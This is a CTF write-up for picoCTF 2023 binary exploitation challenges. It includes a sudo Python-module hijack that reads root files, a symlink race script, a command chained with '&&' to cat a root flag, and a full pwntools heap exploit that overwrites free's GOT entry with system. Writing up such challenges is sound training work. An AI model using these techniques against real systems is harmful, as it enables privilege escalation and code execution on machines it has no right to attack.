PicoCTF 2023 pwn wp
Simple yet still engaging.
PicoCTF 2023 Pwn Writeup
challenge babygame01| status: SOLVED | working: T1d
Move to position (-1, 86), and the flag count will be overwritten to 64. Simply input p
to obtain the flag.
challenge two-sum | status: SOLVED | issue: T1d
2^31-1
and 1
, integer overflow
Challenge VNE | Status: SOLVED | Workflow: T1d
According to the prompt, add environment variables and execute the ls command as root. The first execution of 'ls /root
' allows you to see the 'flag.txt' file.
The second execution uses the '&&' symbol to run 'ls /root && cat /root/flag.txt
' to retrieve the flag.
Challenge Hijacking | Status: SOLVED | Work: T1d
Using the sudo -l
command, it was discovered that the .server.py
file can be executed with root privileges without a password. Upon inspecting the file, it was found that the base64
module is imported. A new base64.py
file was created in the same directory with the content: import os;os.system('ls -a /root')
. Then, by running sudo /usr/bin/python3 /home/picoctf/.server.py
, the contents of the root directory were printed, including the .flag.txt
file. Subsequently, the base64.py
file was modified to import os;os.system('cat /root/.flag.txt')
, and executing .server.py
again successfully retrieved the flag.
challenge tic-tac | status: SOLVED | author: junyu33
Ref: https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use
// vuln.cpp
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>
int main(int argc, char *argv[]) {
while(1) {
symlink("flag.txt", "test");
unlink("test");
symlink("dummy", "test");
unlink("test");
}
return 0;
}
#!/bin/sh
# test.sh
while true
do
./txtreader test
done
g++ vuln.cpp -o vuln
nice -20 ./vuln
nice -n 20 ./test.sh
challenge babygame02 | status: SOLVED | worked by: junyu33
Move to position (-1, 51) and replace the tile with \x7c
to obtain the flag.
Challenge Horsetrack | Status: SOLVED | Working: T1d
The check reveals that PIE
protection is not enabled. The program includes functions to create, delete, and print heap chunks, but printing requires having more than four heap chunks. Additionally, the program does not clear pointers during deletion, and there is a hidden function that allows modifying heaps stored in the heap manager, indicating a UAF vulnerability. Therefore, the solution involves first leaking the XOR encryption key used by tcache, then using the hidden function to add the free
function's GOT entry to tcache, and finally modifying the free
function's GOT entry to point to system
.
from pwn import *
# p = process('./vuln')
p = remote('saturn.picoctf.net', 63361)
elf = ELF('./vuln')
lib = ELF('./libc.so.6')
def choice(id_):
p.recvuntil(b'Choice:')
p.sendline(id_)
def change(id_, mess, spot):
choice(b'0')
p.recvuntil(b'Stable index # (0-17)?')
p.sendline(id_)
p.recvuntil(b'characters:')
p.sendline(mess)
p.recvuntil(b'New spot?')
p.sendline(spot)
def add(id_, size_, mess):
choice(b'1')
p.recvuntil(b'Stable index # (0-17)?')
p.sendline(id_)
p.recvuntil(b'Horse name length (16-256)?')
p.sendline(size_)
p.recvuntil(b'characters:')
p.sendline(mess)
def delete(id_):
choice(b'2')
p.recvuntil(b'Stable index # (0-17)?')
p.sendline(id_)
[add(str(i), b'23', b'a' * 23) for i in range(0, 5)]
delete(b'0')
add(b'17', b'23', b'\xff')
choice(b'3')
p.recvuntil(b'WINNER: ')
key = u16(p.recv(2))
print(hex(key))
add(b'14', b'24', b'a' * 31)
add(b'15', b'24', b'a' * 31)
delete(b'14')
delete(b'15')
free_got = elf.got['free'] - 0x18
payload = p64(free_got ^ key) + p64(0)
change(b'15', payload, b'16')
payload = b'/bin/sh\00' + b'\xff'
add(b'14', b'24', payload)
payload = p64(0) * 3 + p64(elf.sym['system'])
add(b'15', b'31', payload)
delete(b'14')
p.interactive()